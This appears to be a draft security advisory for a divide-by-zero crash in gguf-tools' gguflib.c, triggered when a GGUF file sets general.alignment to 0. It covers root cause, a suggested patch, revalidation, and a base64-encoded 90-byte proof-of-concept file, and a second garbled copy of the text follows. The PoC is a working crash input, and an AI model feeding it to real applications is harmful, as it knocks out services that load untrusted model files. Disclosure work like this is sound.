Summary
A crafted GGUF file that sets the general.alignment metadata key to 0 triggers a divide-by-zero
(SIGFPE) in gguf_get_alignment_padding(). The alignment value is read directly from the file
without validation and used as a modulus divisor. A 90-byte file is sufficient to crash any
application that loads it via gguflib.
Affected component
- Repository:
antirez/gguf-tools
- File:
gguflib.c — gguf_get_alignment_padding() (divide site per the advisory at gguflib.c:218;
called from gguf_set_data_offset() and the bsize calculation in gguf_get_tensor()).
gdb-confirm the exact file:line before filing (the bare SIGFPE at revalidation proves the bug is
live, not the exact frame).
Reproduction
PoC: poc-041-div-by-zero.gguf (90 bytes) — a GGUF v3 file with general.alignment = 0 and one
minimal tensor.
$ gguf-tools show poc-041-div-by-zero.gguf
# -> SIGFPE (exit 136)
Root cause
The alignment value is stored from the file without validation:
if (key->type == GGUF_VALUE_TYPE_UINT32 && /* key == "general.alignment" */ ...) {
ctx->alignment = key->val->uint32; // attacker-controlled, no validation
}
and later used as a modulus operand:
uint64_t gguf_get_alignment_padding(uint64_t alignment, uint64_t offset) {
return (alignment - (offset % alignment)) % alignment; // % 0 -> SIGFPE when alignment == 0
}
Suggested fix
Guard the divisor, and/or reject general.alignment == 0 at parse time:
uint64_t gguf_get_alignment_padding(uint64_t alignment, uint64_t offset) {
if (alignment == 0) return 0;
return (alignment - (offset % alignment)) % alignment;
}
ctx->alignment = key->val->uint32;
if (ctx->alignment == 0) {
/* invalid alignment — reject file */
gguf_close(ctx);
return NULL;
}
Revalidation
Revalidated live on 2026-06-14 against current gguf-tools fdfafbe via gguf-tools show:
poc-041-div-by-zero.gguf produces SIGFPE (exit 136). Class: CWE-369 (divide by zero).
Proof-of-concept (base64; base64 -d > poc.gguf)
poc-041-div-by-zero.gguf (90 bytes):
R0dVRgMAAAABAAAAAAAAAAEAAAAAAAAAEQAAAAAAAABnZW5lcmFsLmFsaWdubWVudAQAAAAAAAAAAQAAAAAAAAB4AQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA
Summary
A crafted GGUF file that sets the
general.alignmentmetadata key to0triggers a divide-by-zero(SIGFPE) in
gguf_get_alignment_padding(). The alignment value is read directly from the filewithout validation and used as a modulus divisor. A 90-byte file is sufficient to crash any
application that loads it via gguflib.
Affected component
antirez/gguf-toolsgguflib.c—gguf_get_alignment_padding()(divide site per the advisory atgguflib.c:218;called from
gguf_set_data_offset()and thebsizecalculation ingguf_get_tensor()).gdb-confirm the exact
file:linebefore filing (the bare SIGFPE at revalidation proves the bug islive, not the exact frame).
Reproduction
PoC:
poc-041-div-by-zero.gguf(90 bytes) — a GGUF v3 file withgeneral.alignment = 0and oneminimal tensor.
$ gguf-tools show poc-041-div-by-zero.gguf # -> SIGFPE (exit 136)Root cause
The alignment value is stored from the file without validation:
and later used as a modulus operand:
Suggested fix
Guard the divisor, and/or reject
general.alignment == 0at parse time:Revalidation
Revalidated live on 2026-06-14 against current gguf-tools
fdfafbeviagguf-tools show:poc-041-div-by-zero.ggufproduces SIGFPE (exit 136). Class: CWE-369 (divide by zero).Proof-of-concept (base64;
base64 -d > poc.gguf)poc-041-div-by-zero.gguf (90 bytes):